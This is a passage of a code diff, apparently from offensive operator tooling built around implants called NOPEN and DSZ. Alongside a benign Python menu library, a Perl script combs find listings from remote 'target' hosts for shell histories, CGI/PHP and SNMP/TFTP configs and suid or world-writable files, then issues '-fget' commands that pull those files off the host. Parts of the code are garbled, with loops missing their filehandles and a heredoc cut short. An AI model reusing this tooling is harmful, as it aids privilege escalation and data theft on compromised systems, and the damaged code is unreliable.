default here, or you'll get the current state back. + def add_str_option(self, option, state, section="", keywords=[], allowempty=False, default=None): + self.add_option(option=option, section=section, state=state, keywords=keywords, callback=self.callback_str, allowempty=allowempty, default=default) + + ## A default callback mechanism for handling stateful menu options with integer values. + # + # This is the callback used by add_int_option(). + # + # \param default + # Set to None to do normal behavior of providing the current state as the default + # prompt response. Set to anything else, provides that value as the default. + def callback_int(self, default=None): + self.set_current_state(self.__int_input('New value for "%s"' % self.current["text"], self.current["state"] if default is None else default)) + + ## Adds a integer input stateful menu option. + # + # This will add a menu option that has a state, and uses a default callback function + # to get new values for the state. This is provided as a convenience mechanism for + # common tasks. + # + # Input prompt accepts base-16 values when using the "0x" prefix. + # + # \param option + # Option text. + # \param state + # State text, not optional. Behaves the same as when state is supplied in add_option(). + # \param section + # Optional section name. See add_option() documentation. + # \param keywords + # Optional keywords as used in add_option(). + # \param default + # If not None, becomes the default prompt response for the integer input. + def add_int_option(self, option, state, section="", keywords=[], default=None): + assert isinstance(state, numbers.Integral), "State must be an integer." + self.add_option(option=option, section=section, state=state, keywords=keywords, callback=self.callback_int, default=default) + + ## A default callback mechanism for handling stateful menu options with hex values. + # + # \param default + # Set to None to do normal behavior of providing the current state as the default + # prompt response. Set to anything else, provides that value as the default. + def callback_hex(self, default=None): + defresponse = hex(self.current["state"]) if default is None else default + if defresponse[-1] == 'L': defresponse = defresponse[0:-1] + self.set_current_state(self.__int_input('New value for "%s":' % self.current["text"], defresponse)) + + ## Adds a hex input stateful menu option. + # + # \param option + # Option text. + # \param state + # State text, not optional. Behaves the same as when state is supplied in add_option(). + # \param section + # Optional section name. See add_option() documentation. + # \param keywords + # Optional keywords as used in add_option(). + # \param default + # If not None, becomes the default prompt response for the integer input. + def add_hex_option(self, option, state, section="", keywords=[], default=None): + assert isinstance(state, numbers.Integral), "State must be an integer." + self.add_option(option=option, state=state, section=section, keywords=keywords, callback=self.callback_hex, default=default, hex=True) + + ## A default callback mechanism for handling stateful options that toggle between two states. + # + # Switches option state to and from "enabled" and "disabled" states based on + # the current state. The default text can be overridden to provide your own + # state indications. + # + # \param enabled + # Enabled state. + # \param disabled + # Disabled state. + def callback_toggle(self, enabled="Enabled", disabled=""): + if self.current["state"] == enabled: + self.set_current_state(disabled) + else: + self.set_current_state(enabled) + + ## Adds a toggle state menu option. + # + # A toggle state menu option has two possible states and switches between + # them when selected. + # + # \param option + # Option text. + # \param state + # Optional starting state. If not supplied, option defaults to disabled. + # \param section + # See add_option(). + # \param keywords + # See add_option(). + # \param enabled + # State text for enabled state. + # \param disabled + # State text for disabled state. + # + # \see add_option + def add_toggle_option(self, option, state=None, section="", keywords=[], enabled="Enabled", disabled=""): + assert state is None or state == enabled or state == disabled, "Starting state must be either enabled or disabled." + self.add_option(option=option, state=state if state is not None else disabled, section=section, keywords=keywords, callback=self.callback_toggle, enabled=enabled, disabled=disabled) + + ## Sets a content heading. + # + # This allows you to provide a content heading at the top of the menu. See + # DSKY, DF, and PC menus for examples of why you might do this. + # + # If you want to dynamically update the heading, you'll have to maintain your + # data and resubmit the entire heading with changed contents. + # + # Provide your own indents. A new line between the heading and the first menu + # option will be automatically inserted. + # + # \param heading + # A string or a list of strings. If a list is provided, each element of the list + # will be a different line of the heading. + def set_heading(self, heading): + assert type(heading) is list or type(heading) is str or type(heading) is unicode, "Heading content must be list, str, or unicode" + + if type(heading) is str or type(heading) is unicode: + self.__heading = [heading] + else: + self.__heading = heading + + self.__needs_update = True + + ## Displays a menu and waits for user input. + # + # Optionally, this function can serve as the menu loop for situations where the menu + # is presented again after each selection is made. Responses to selections then require + # use of the callback feature to enable things to happen. + # + # \param prompt + # Prompt text. + # \param default + # Default menu option. If provided, must be an integer between 0 and number of choices + # inclusive. + # \param keywords + # Keyword filtering of menu items to show. + # \param menuloop + # If set true, executes the menu loop instead of returning. On exit, will return. If + # set False, the menu will not loop, but will instead return after selection is made + # and callback (if implemented) has completed. + # \param exit + # Provide optional text for option zero, the "exit" option. This should allow one to + # provide more clarity of what the exit option does; e.g. "Exit and do nothing" or + # "Exit with the configuration I just went through", etc. Might want to work on the + # phrasing for that last one. + # \param exiton + # Optional list of menu selection numbers to exit on, besides the default exit option + # of zero. Note this only makes practical sense with a static menu or using options + # at the top of the menu so the selection value is unlikely to change. Has no effect + # unless menuloop is enabled, as otherwise all options technically "exit". + # + # \return Selection dictionary containing the following: + # - \c selection - user's input + # - \c option - option text + # - \c option_state - option state text (or None) + # - \c all_states - dictionary of sections, containing dictionaries of option texts with the state for that option. + def execute(self, prompt="Enter selection", default=None, keywords=[], menuloop=True, exit=EXIT, exiton=[]): + assert type(prompt) is str or type(prompt) is unicode, "Prompt must be str or unicode" + assert type(menuloop) is bool, "Must be a Boolean state." + assert type(exit) is str or type(exit) is unicode, "str or unicode required" + assert default is None or type(default) is int, "Use None for no default or enter a valid integer." + assert type(exiton) is list, "exiton must be a list" + + self.build_menu(keywords, exit) + maxvalue = len(self.__display) - 1 + if type(default) is int: + assert default >= 0 and default <= maxvalue, "Default value must be within range of options." + + if menuloop: + result = -1 + exiton.append(0) + while result not in exiton: + # In DSZ mode, acknowledge "stop" requests sent to our "python" command. + if _dsz_mode: dsz.script.CheckStop() + self.display(keywords, exit) + result = self.__menu_input(prompt, default, maxvalue) + if result: self.__callback(self.__display[result][0], self.__display[result][2]) + else: + self.display(keywords, exit) + result = self.__menu_input(prompt, default, maxvalue) + if result: self.__callback(self.__display[result][0], self.__display[result][2]) + + # Build up exit state. + exit_state = { + "selection": result, + "option": self.__display[result][1]["text"] if result != 0 else exit, + "option_state": self.__display[result][1]["state"] if result != 0 else None, + "all_states": self.all_states() + } + return exit_state + + ## Returns state of all menu items that have states. + def all_states(self): + all = {} + for s in self.__section_order: + all[s] = {} + for i in self.__section_content[s]: + if i["state"]: all[s][i["text"]] = i["state"] + # Probably not necessary, but it does reduce the data set you print out when debugging, + # which could be helpful on menus with a bunch of sections but only one stateful section. + if not all[s]: + del all[s] + return all + + ## Displays the menu but does not interact with user. + # + # \param keywords + # List of keywords to show. Special case: items without keywords are displayed; or + # if this list is empty, all items are displayed. + # \param exit + # Provide optional text for option zero, the "exit" option. This should allow one to + # provide more clarity of what the exit option does; e.g. "Exit and do nothing" or + # "Exit with the configuration I just went through", etc. Might want to work on the + # phrasing for that last one. + def display(self, keywords=[], exit=EXIT): + print(self.build_menu(keywords, exit)) + + ## Builds the menu output buffer. + # + # This builds and caches the output buffer for displaying the menu. If no updates are + # made to any of the content via the API, then the buffer does not need to be updated + # and can be returned from cache as-is, allowing for some modest performance gains with + # static menus. + # + # Most users will want to use the display() or execute() methods; this is provided as + # part of the public API for advanced users who want to consume the output into a + # different system. + # + # \param keywords + # List of keywords to show. Special case: items without keywords are displayed; or + # if this list is empty, all items are displayed. + # \param exit + # Provide optional text for option zero, the "exit" option. This should allow one to + # provide more clarity of what the exit option does; e.g. "Exit and do nothing" or + # "Exit with the configuration I just went through", etc. Might want to work on the + # phrasing for that last one. + # + # \return Output buffer string. Output encoding may be Unicode if any component + # pieces used to build the string are unicode. + def build_menu(self, keywords=[], exit=EXIT): + assert type(keywords) is list + assert type(exit) is str or type(exit) is unicode + + if not self.__needs_update: return self.__output + + # always starting with a newline to offset previous output. + self.__output = "\n" + if self.__heading: + for i in self.__heading: + self.__output += i + "\n" + self.__output += "\n" + # left padding for spacing the menu options evenly. + lpad = str(int(math.log10(sum([len(i) for i in self.__section_content]) | 1)) + 3) + self.__output += ("%" + lpad + "d) %s\n") % (0, exit) + self.__display = [None] + for s in self.__section_order: + if s == "": self.__output += "\n" + else: self.__output += "\n %s\n" % s + + # Find alignment for stateful options. + longest = 0 + for i in self.__section_content[s]: + if i["state"]: + if len(i["text"]) > longest: + longest = len(i["text"]) + + # Build output buffer + index = 0 + for i in self.__section_content[s]: + # If no keywords supplied, show all. + # If menu item has no keyword filter, show it. + # If keywords supplied and item has keywords, then if one supplied keyword is in its filter then show it. + if not keywords or not i["keywords"] or True in [k in keywords for k in i["keywords"]]: + self.__output += ("%" + lpad + "d) %s") % (len(self.__display), i["text"]) + self.__display.append([s, i, index]) + if i["state"]: + self.__output += " " * (longest - len(i["text"])) + if i["hex"]: + hexed = hex(i["state"]) + if hexed[-1] == "L": hexed = hexed[0:-1] + self.__output += ": %s" % hexed + else: + self.__output += ": %s" % i["state"] + self.__output += '\n' + index += 1 + + self.__needs_update = False + + return self.__output + + ## Internal helper for handle callback scenarios. + # + # If there is no callback, just does nothing. + # + # If there is a callback and there are no callback parameters, calls + # the callback with no arguments. + # + # If there is a callback and there is a parameter dictionary, passes the + # parameter dictionary. + # + # \param section + # Section name. + # \param index + # Content data index. + def __callback(self, section, index): + content = self.__section_content[section][index] + if content["callback"] is not None: + self.__current = content + self.__current_index = index + self.__current_section = section + if content["cbparam"] is None: + content["callback"]() + else: + content["callback"](**content["cbparam"]) + self.__current = None + self.__current_index = None + self.__current_section = None + + ## Internal helper function to abstract input routines. + # + # \param prompt + # User prompt text. + # \param default + # User default option. + # \param maxvalue + # Maximum allowed input value. + # + # \return Integer menu selection value. + def __menu_input(self, prompt, default, maxvalue): + result = -1 + while result < 0 or result > maxvalue: + result = self.__int_input(prompt, default) + return result + + ## Internal helper function to abstract raw input routines. + # + # \param prompt + # User prompt text. + # \param default + # User default option. Set to None for no default. + # + # \return Raw input text string. + def __raw_input(self, prompt, default): + newprompt = prompt if prompt and prompt[-1] in [':', '?'] else prompt + ":" + if _dsz_mode: + return dsz.ui.GetString(utf8(newprompt), "" if default is None else utf8(default)) + else: + value = raw_input((newprompt + " [%s] " % default) if default is not None else newprompt) + if value == "" and default is not None: return default + return value + + ## Internal helper function to abstract integer input routines. + # + # \param prompt + # User prompt text. + # \param default + # User default option. Set to None for no default. + # + # \return Integer input value. + def __int_input(self, prompt, default): + if _dsz_mode: + newprompt = prompt if prompt and prompt[-1] in [':', '?'] else prompt + ":" + return dsz.ui.GetInt(utf8(newprompt), "" if default is None else str(default)) + else: + while True: + value = self.__raw_input(prompt, default) + if type(value) is int: return value + try: + if len(value) > 2 and value[0:2].lower() == "0x": + return int(value, 16) + else: + return int(value) + except ValueError: pass + + # These callback handlers and option helpers are only available if the util.ip module was available. + if _util_ip_mode: + + ## Default mechanism for handling IP address validation inputs. + # + # \param default + # If provided, will be the default value instead of the current state. + def callback_ip(self, default=None): + valid = False + result = None + while not valid: + result = self.__raw_input('New IP address for "%s"' % self.current["text"], self.current["state"] if default is None else default) + valid = util.ip.validate(result) + if not valid: + if _dsz_mode: dsz.ui.Echo("Invalid IP address.", dsz.ERROR) + else: print("Invalid IPv4 or IPv6 address.") + self.set_current_state(result) + + ## Adds an IP address stateful option with IP validation. + # + # \param option + # Option text + # \param section + # See add_option() + # \param keywords + # See add_option() + # \param ip + # IP address to default option to. If not provided, defaults to IPv4 localhost. + # \param default + # Default prompt text to use instead of current state. + def add_ip_option(self, option, section="", keywords=[], ip=None, default=None): + assert ip is None or util.ip.validate(ip), "ip must be a valid IPv4 or IPv6 address, or None" + self.add_option(option=option, section=section, state=ip, keywords=keywords, callback=self.callback_ip, default=default) + + ## Default mechanism for handling IPv4 address validation inputs. + # + # \param default + # If provided, will be the default value instead of the current state. + def callback_ipv4(self, default=None): + valid = False + result = None + while not valid: + result = self.__raw_input('New IPv4 address for "%s"' % self.current["text"], self.current["state"] if default is None else default) + valid = util.ip.validate_ipv4(result) + if not valid: + if _dsz_mode: dsz.ui.Echo("Invalid IPv4 address.", dsz.ERROR) + else: print("Invalid IP address.") + self.set_current_state(result) + + ## Adds an IPv4 address stateful option with IP validation. + # + # \param option + # Option text + # \param section + # See add_option() + # \param keywords + # See add_option() + # \param ip + # IP address to default option to. If not provided, defaults to IPv4 localhost. + # \param default + # Default prompt text to use instead of current state. + def add_ipv4_option(self, option, section="", keywords=[], ip=None, default=None): + assert ip is None or util.ip.validate_ipv4(ip), "ip must be a valid IPv4, or None" + self.add_option(option=option, section=section, state=ip if ip else "127.0.0.1", keywords=keywords, callback=self.callback_ipv4, default=default) + + ## Default mechanism for handling IPv6 address validation inputs. + # + # \param default + # If provided, will be the default value instead of the current state. + def callback_ipv6(self, default=None): + valid = False + result = None + while not valid: + result = self.__raw_input('New IPv6 address for "%s"' % self.current["text"], self.current["state"] if default is None else default) + valid = util.ip.validate_ipv6(result) + if not valid: + if _dsz_mode: dsz.ui.Echo("Invalid IPv6 address.", dsz.ERROR) + else: print("Invalid IP address.") + self.set_current_state(result) + + ## Adds an IPv4 address stateful option with IP validation. + # + # \param option + # Option text + # \param section + # See add_option() + # \param keywords + # See add_option() + # \param ip + # IP address to default option to. If not provided, defaults to IPv6 localhost. + # \param default + # Default prompt text to use instead of current state. + def add_ipv6_option(self, option, section="", keywords=[], ip=None, default=None): + assert ip is None or util.ip.validate_ipv6(ip), "ip must be a valid IPv6, or None" + self.add_option(option=option, section=section, state=ip if ip else "::1", keywords=keywords, callback=self.callback_ipv6, default=default) + + ## Default mechanism for handling FRIEZERAMP addresses. + # + # \param default + # If provided, will be the default value instead of the current state. + def callback_frz(self, default=None): + valid = False + result = None + while not valid: + result = self.__raw_input('New FRZ address for "%s"' % self.current["text"], self.current["state"] if default is None else default) + valid = result and result[0] == 'z' and util.ip.validate_ipv4(result[1:]) + if not valid: + if _dsz_mode: dsz.ui.Echo("Invalid IPv4 address.", dsz.ERROR) + else: print("Invalid FRZ address.") + self.set_current_state(result) + + ## Adds an FRIEZERAMP address stateful option. + # + # FRIEZERAMP addresses are just IPv4 addresses with 'z' in front of them. Not + # to be confused with actual IP addresses. These are often also called + # CHIMNEYPOOL or CP addresses. + # + # \param option + # Option text + # \param section + # See add_option() + # \param keywords + # See add_option() + # \param frz + # FRZ address to default option to. If not provided, defaults to one of two + # values: if inside DSZ, the local address. Outside of DSZ, assumes z0.0.0.1 + # is still the local address. + # \param default + # Default prompt text to use instead of current state. + def add_frz_option(self, option, section="", keywords=[], frz=None, default=None): + assert frz is None or (frz[0] == 'z' and util.ip.validate_ipv4(frz[1:])), "frz must be a valid FRZ address, or None" + self.add_option(option=option, section=section, state=frz if frz else "z0.0.0.1", keywords=keywords, callback=self.callback_frz, default=default) + +if __name__ == "__main__": + test = Menu() + test.add_option("Exit and do stuff") + test.add_str_option("Log", section="Configuration", state=r"C:\Windows\Temp\log.log") + test.add_hex_option("ID", section="Configuration", state=0x10002345) + test.add_hex_option("ID", section="Configuration", state=0x100010002345) + test.add_int_option("Loops", section="Advanced", state=3*3*3 * 3*3*3 * 3*3*3) + if _util_ip_mode: + test.add_ip_option("IP", section="Configuration", ip="1.2.3.4") + test.add_ipv4_option("IPv4", section="Configuration", ip="9.6.3.0") + test.add_ipv6_option("IPv6", section="Configuration", ip="1234:abcd::5%9") + test.add_frz_option("FRZ", section="ADVANCED", frz="z7.7.7.7") + print(test.execute(exiton=[1], default=1)) + \ No newline at end of file diff --git a/Linux/bin/mergetargets b/Linux/bin/mergetargets new file mode 100755 index 0000000..a03e7d3 --- /dev/null +++ b/Linux/bin/mergetargets @@ -0,0 +1,114 @@ +#!/bin/bash +VER=1.0.0.2 +if [ "${1:0:1}" = "/" ] ; then + DIR="$1" + shift +else + DIR=/current/down +fi +NAM1=$1 +shift +NAM2=$1 + +die() { + ERR=1 + if [ "$1" -a ! "`echo $1 | tr -d '0-9'`" ] ; then + ERR=$1 + shift + fi + echo -e "$*" + exit $ERR + exit + exit +} + +rmemptydirs() { + STR="$1" + [ "$STR" ] || STR=$NAM1 + if [ "$STR" ] ; then + COUNT=0 + OLDCOUNT=`find . -type d | grep "$STR" | wc -l` + while [ $OLDCOUNT -gt 0 ] ; do + rmdir -v `find . -type d | grep "$STR"` 2>/dev/null + COUNT=`find . -type d | grep "$STR" | wc -l` + [ $COUNT -lt $OLDCOUNT ] || break + OLDCOUNT=$COUNT + done + fi +} + +usage() { + cat < $opetc/nopen_auto.$nopen_mypid.mkfindstmp") || + die "Cannot open > $opetc/nopen_auto.$nopen_mypid.mkfindstmp" ; +#; rm -f $opetc/nopen_auto.$nopen_mypid + print NOPENOUT "#NOGS\n-lsh sleep 1 ; while [ 1 ] ; do sleep 2 ; [ -e $opetc/nopen_auto.$nopen_mypid ] && break 2>/dev/null ; done\n" ; + close(NOPENOUT); + rename ("$opetc/nopen_auto.$nopen_mypid.mkfindstmp","$opetc/nopen_auto.$nopen_mypid") ; +} + +@finds = (split (/\n/, `ls -1 $dir/${targethost}-find 2>/dev/null`) ); +my $howmany = "this" ; +my $howmany1 = "is" ; +my $plural = "" ; +if (@finds) { + if (@finds > 1) { + $howmany = "these"; + $howmany1 = "are"; + $plural = "s" ; + } + print " +Making sorted finds. Found $howmany source file$plural:\n"; + foreach (@finds) { + print "\t$_\n" ; + } + } else { + die "nothing to do in $dir"; +} +($allpids,$greppids) = () ; +print "\n"; +foreach $find (@finds) { + ($host) = $find =~ /([^\/]*)-find/ ; + unless ($skipssh) { + unlink("$destdir/$host.find.SSH") if $wipefirst; + if (! -e "$destdir/$host.find.SSH") { + $pid = fork; + if ($pid) { + $allpids .= "|$pid" ; + print "Building new $destdir/$host.find.SSH (pid=$pid)\n" ; + } else { + my $c = $column{$ext}; + myexec("grep ssh $find > $destdir/$host.find.SSH"); + } + } else { + print "$destdir/$host.find.SSH exists, skipping\n"; + } + }#ssh grep + foreach $ext (@timetypes) { + unlink("$destdir/$host.find.sorted.time$ext") if $wipefirst; + if (! -e "$destdir/$host.find.sorted.time$ext") { + $pid = fork; + if ($pid) { + $allpids .= "|$pid" ; + print "Building new $destdir/$host.find.sorted.time$ext (pid=$pid)\n" ; + } else { + my $c = $column{$ext}; + myexec("lsstamp -s -c$c $find > $destdir/$host.find.sorted.time$ext"); + } + } else { + print "$destdir/$host.find.sorted.time$ext exists, skipping\n"; + } + }#foreach $ext + if ($grepping) { + $pid = fork; + if ($pid) { + $greppids .= "|$pid" ; + sleep 3 ; + } else { # this is child +# close(STDOUT) ; +# close(STDERR) ; + open(FINDIN,"< $find") || die "cannot open < $find" ; + open(FINDOUT,"> $opdown/neatfiles.$host") || die "cannot open > $opdown/neatfiles.$host" ; + open(FINDFILEONLY,"> $opdir/fgetgiant.neatfiles.$host") || die "cannot open > $opdir/fgetgiant.neatfiles.$host" ; +# open(FINDDBG,"> /tmp/neatfiles.$host") || die "cannot open > /tmp/neatfiles.$host" ; + open(PERMSOUT,"> $opdown/neatfiles.perms.$host") || die "cannot open > $opdown/neatfiles.perms.$host" ; +# warn("DBG: Looking for $filesgrep"); + my ($sgidperms,$suidperms,$wwperms) = (); + my $uidpermlines=0; + my $suidpermlines=0; + my $guidpermlines=0; + my $wwpermlines=0; + while () { +# ($inode,$mode,$link,$owner,$group,$size,$junk,$mtime,$junk,$atime,$junk,$ctime,$junk,$filenamefull) = split (/\s+ + ($type,$rest,$path,$filename) = + /\s*\d+\s+(\S)([^\/]*)(\/.*)\/([^\/]*)/ ; + ($size) = $rest =~ /\S+\s+\S+\s+\S+\s+\S+\s+(\d+)/ ; + next if ( "dbcsl" =~ /$type/) ; # skip special crap and directories +# $filesgrep = "php$fuzzy|cgi$fuzzy|.*history$fuzzy|^ |\\\.\\\.\\\.|snmp.conf$fuzzy" ; + + if ($filename =~ +# $filesgrep = "php$fuzzy|cgi$fuzzy|.*history$fuzzy|^ |\\\.\\\.\\\.|snmp.conf$fuzzy" ; + /(\.php$fuzzy|\.cgi$fuzzy|^\..*history$fuzzy|^ |\.\.\.|snmp.conf$fuzzy|tftp.*conf$fuzzy)/) { + print FINDOUT ; + if ($size < 1000000 and ! ($type eq "d")) { + print FINDFILEONLY ; # $filename has its own \n + } + } + my $mtimeonly = $_; + $mtimeonly =~ s/ \|( [^\|]+ )\| [^\|]+\| [^\|]+\| /$1/; + if (/^\s*\d+\s+........w.\s/) { # world writable + $wwperms .= $mtimeonly; + $wwpermlines++; + } + my $justshown=0; + if (/^\s*\d+\s+...[sS]......\s+\d+\s+root/) { # suid root + $uidpermlines++; + $suidpermlines++; + $suidperms .= $mtimeonly; + $justshown++; + } + if (/^\s*\d+\s+......[sS]...\s+\d+\s+\S+\s+root/) { # sgid root + unless ($justshown) { + $sgidperms .= $mtimeonly; + $uidpermlines++; + $guidpermlines++; + } + } + }#while () + if ($wwperms) { + print PERMSOUT "World writable files:$more\n". + "---------------------\n". $wwperms."\n\n"; + } + if ($suidperms) { + print PERMSOUT "suid root files:$more\n". + "----------------\n". $suidperms."\n\n"; + $uidpermlines+=4; + } + if ($sgidperms) { + print PERMSOUT "sgid root files:$more\n". + "----------------\n". $suidperms."\n\n"; + $uidpermlines+=4; + } + close(PERMSOUT) ; + close(FINDIN) ; + close(FINDOUT) ; + close(FINDFILEONLY) ; + open(FINDIN,"/bin/sort +5n $opdir/fgetgiant.neatfiles.$host |") || die "unable to open sort +5n command" ; + open(FINDSIZE,"> $opdir/neatfiles.bysize.$host") || die "unable to open > $opdir/neatfiles.bysize.$host" ; + my $totalsize = 0; + my $filestoget = 0 ; + while () { + # This input has neat files sorted by size and no files > 1000000 bytes +# ($inode,$mode,$link,$owner,$group,$size) = split (/\s+/) ; + ($type,$rest,$path,$filename) = + /\s*\d+\s+(\S)([^\/]*)(\/.*)\/([^\/]*)/ ; + ($size) = $rest =~ /\S+\s+\S+\s+\S+\s+\S+\s+(\d+)/ ; + $totalsize += $size ; + last if ($totalsize > $maxsize) ; + $filestoget++ ; +# print FINDDBG "found $size $type $path\t\t$filename ::: $_" ; + print FINDSIZE "$path/$filename" ; # $filename has its own \n + } + my $more = "" ; + if ($totalsize > $maxsize) { + $totalsize -= $size ; + my $linesleft = 1 ; + $linesleft++ while () ; + my $tobe = " to be" unless $justdoit ; + $more = "\nMAXIMUM size hit with $linesleft files not retrieved. Files not$tobe downloaded:\n\n". + "\t-lsh /bin/sort +5n $opdir/fgetgiant.neatfiles.$host | tail -$linesleft | lss -Sc1"; + } + if ($justdoit) { + `echo -e "\n\nDownload of all files will be $totalsize bytes$more" > $opdir/neatfiles.size.$host` ; + } else { + `echo -e "\n\nDownload of all files would be $totalsize bytes$more" > $opdir/neatfiles.size.$host` ; + } + close(FINDIN) ; + close(FINDSIZE) ; + close(FINDGET) ; + open(NOPENOUT,"> $opetc/nopen_auto.$nopen_mypid.mkfindstmp") || + die "Cannot open > $opetc/nopen_auto.$nopen_mypid.mkfindstmp" ; + print NOPENOUT "#NOGS\n" ; + if ($justdoit and $host eq $nopen_rhostname) { + print NOPENOUT "-nohist -fget $opdir/neatfiles.bysize.$host\n" ; + } + print NOPENOUT "-nohist -lsh echo -e \"\\\\n\\\\nPaste this to see all suid/guid/world-writable files in a popup:\\\\n\\\\n$lshless\\\\n\\\\n\"\n" ; + close(NOPENOUT); +sleep 1; + rename("$opetc/nopen_auto.$nopen_mypid.mkfindstmp","$opetc/nopen_auto.$nopen_mypid") || warn("rename nopen_auto.$nopen_mypid.mkfindstmp failed"); + # `echo "#NOGS" > $opetc/nopen_auto.$nopen_mypid` unless + # (-s "$opetc/nopen_auto.$nopen_mypid") ; + exit ; # child exits here + }#if parent else child + }#if $grepping +}#foreach $find (@finds) +if (! $allpids) { + print "Found no files to create.\n\n"; +} else { + $allpids =~ s/^\|// ; + $greppids =~ s/^\|// ; + print "\nNow creating sorted finds in background.\n\n + ps -ef$www | egrep '$allpids' | egrep -v 'perl|grep'\n"; +} +print " ls -al @finds $destdir/$host*find.sorted*\n +Pastables above for your use.\n"; + +if ($tmp = `ls -al @finds $destdir/$host*.find.sorted*`) { + print "\n$destdir currently has these sorted finds (may still be growing):\n\n$tmp\n"; +} + +if ($allpids) { + my $howmany = "this" ; + my $howmany1 = "is" ; + my $plural = "" ; + if (@finds > 1) { + $howmany = "these"; + $howmany1 = "are"; + $plural = "s" ; + } + open(PERLOUT,"> /tmp/mkfinds.wait") || die "Cannot open /tmp/mkfinds.wait" ; + print PERLOUT "#!/usr/bin/env perl +\$| = 1 ; +print \"\\aThe mkfind$plural $howmany1 building${grepping}...\"; +"; + if ($grepping) { + $whattosay = "\\nFiles with neat permissions:\\n\\n$lshless\\n\\n" ; + if ($justdoit) { + $whattosay .= "Files already being downloaded from $nopen_rhostname via the following:\\n\\n\$fgets" ; + } else { + $whattosay .= "Use $howmany ON THE CORRECT HOST$plural to get interesting files up to $maxsize bytes:\\n\\n\$fgets" ; + } + print PERLOUT <<"EOF"; +while (1) { + last unless `ps -ef$www | egrep '$greppids' | egrep -v 'grep'` ; + sleep 2 ; +} +if (\$fgets = `ls -1 $opdir/neatfiles.bysize.$host | sed "s/^/-fget /g"`) { + print ("\\n\\n$whattosay\\n\\n") ; + print `wc -l $opdir/neatfiles.* | grep -vi total` ; + print `cat $opdir/neatfiles.size.$host` ; +} +EOF + } + print PERLOUT <<"EOF"; +while (1) { + last unless `ps -ef$www | egrep '$allpids' | egrep -v 'perl|grep'` ; + sleep 2; +} +EOF +foreach $find (@finds) { + ($host) = $find =~ /([^\/]*)-find/ ; + print PERLOUT <<"EOF"; +if ($domac) { + print "\\nGenerating MAC times for $host\\n"; + + open(OFILE, "> $destdir/$host.find.macraw") or die("Cannot open > $destdir/$host.find.macraw: $!"); + open(M, "$destdir/$host.find.sorted.timem") or die("Cannot open $destdir/$host.find.sorted.timem: $!"); + open(A, "$destdir/$host.find.sorted.timea") or die("Cannot open $destdir/$host.find.sorted.timea: $!"); + open(C, "$destdir/$host.find.sorted.timec") or die("Cannot open $destdir/$host.find.sorted.timec: $!"); + print OFILE "m:".\$_ while (); + print OFILE "a:".\$_ while (
); + print OFILE "c:".\$_ while (); + close(M); + close(A); + close(C); + close(OFILE); + system("sleep 2 ; sync"); + system("lsstamp -o -S $destdir/$host.find.macraw | sort > $destdir/$host.find.sorted.macrawdate"); + unlink("$destdir/$host.find.macraw"); + + open(MAC, "> $destdir/$host.find.sorted.mac"); + open(MACRAW, "$destdir/$host.find.sorted.macrawdate"); + + my \%lines = () ; + \$date = ""; + while ( defined (\$line1 = )) { + \$line1 =~ s/^(\\d*)://; + if ((\$1 eq \$date)) { + \$line1 =~ s/^(.)://; + \$lines{\$line1} .= \$1; + } else { + \$line1 = \$1 . ":" . \$line1; + \$date = \$1; + foreach \$key (sort keys \%lines) { + \@toprint = split /(\\/)/, \$key; + \$macstring = ((\$lines{\$key} =~ m/m/)?"m":"-") . + ((\$lines{\$key} =~ m/a/)?"a":"-") . + ((\$lines{\$key} =~ m/c/)?"c":"-") ; + # picky, picky...fix spacing on inode and size for the few that are large + my (\$inode,\$rest1,\$group,\$size,\$rest2) = + \$toprint[0] =~ /^\\s*(\\d+)(\\s+\\S+\\s+\\S+\\s+\\S+\\s+)(\\S+)\\s+(\\S+)(.*)/ ; + \$inode = sprintf("%10d",\$inode); + my \$groupsize = sprintf("%-8s %11d",\$group,\$size); + shift(\@toprint) ; + \$printstring = \$inode . \$rest1 . \$groupsize . \$rest2 ."\$macstring " ; + \$printstring .= \$_ foreach \@toprint ; + print MAC \$printstring; + delete(\$lines{\$key}); + } + redo; + } + } + close(MACRAW); + close(MAC); + unlink("$destdir/$host.find.sorted.macrawdate"); +} +EOF +} +print PERLOUT <<"EOF"; +print "\\a\\n +ls -al @finds $destdir/$host*.find.sorted*\\n". +\`ls -al @finds $destdir/$host*.find.sorted*\`. +"\\n\\nls -al $opdown/neatfiles*$host*\\n". +\`ls -al $opdown/neatfiles*$host*\`. +"\\nFiles with neat permissions:\\n\\n$lshless\\n\\n"; +sleep 1 ; +print "\\a\\n" ; +sleep 1 ; +print "\\a\\n" ; + ; +EOF + close(PERLOUT) ; + `chmod 777 /tmp/mkfinds.wait` ; + # child execs mkfinds.wait + $xargs = "-bg white -fg darkblue -geometry 119x45+0+0 -title mkfinds_building" ; + myexec("xterm $xargs -e /tmp/mkfinds.wait") unless ( $pid = fork ) ; + # parent exits - get prompt right back + if ($grepping) { + print "\n\ngrepping in $find (pid=$pid) for these regexps:\n $filesgrep\n $permsgrep\n\n"; + my $howlong = 30 ; + until ($howlong <= 0 or -e "$opetc/nopen_auto.$nopen_mypid") { + sleep 2; + $howlong -= 2; + } + if ($howlong <= 0) { + print "\n\nGiving you your NOPEN prompt back now. The file with world writable and suid/sgid +files in it ($opdown/neatfiles.perms.$host) +is not yet ready. When it is, you will see it's content here after your next command/.\n\n"; + } + } +} + +sub myinit { + use File::Basename; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $opdir = "/current" ; + $opetc = "$opdir/etc" ; + $opbin = "$opdir/bin" ; + $opdown = "$opdir/down" ; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + $fromnopen = $nopen_rhostname; + $| = 1; + usage("bad option(s)") if (! &Getopts( "hvomacgfJM:A" ) ); + $showall = ($opt_A or !$fromnopen); + $targethost = $showall ? "*" : $fromnopen ; + $skipm = $opt_m ; + $skipa = $opt_a ; + $skipc = $opt_c ; + push(@timetypes,"m") unless $skipm ; + push(@timetypes,"a") unless $skipa ; + push(@timetypes,"c") unless $skipc ; + $domac = 1 if (!$skipm && !$skipa && !$skipc); + $grepping = "/grepping" unless $opt_g ; + $justdoit = $opt_J and $fromnopen ; + $fuzzy = "\$" unless $opt_f ; + $filesgrep = "/(\\.php$fuzzy|\\.cgi$fuzzy|^\\..*history$fuzzy|^ |\\.\\.\\.|snmp.conf$fuzzy|tftp.*conf$fuzzy)/)" ; + # look for world writable | suid | sgid + $permsgrep = "/^\\s*\\d+\\s+(". + "........w.\\s|". # world writable + 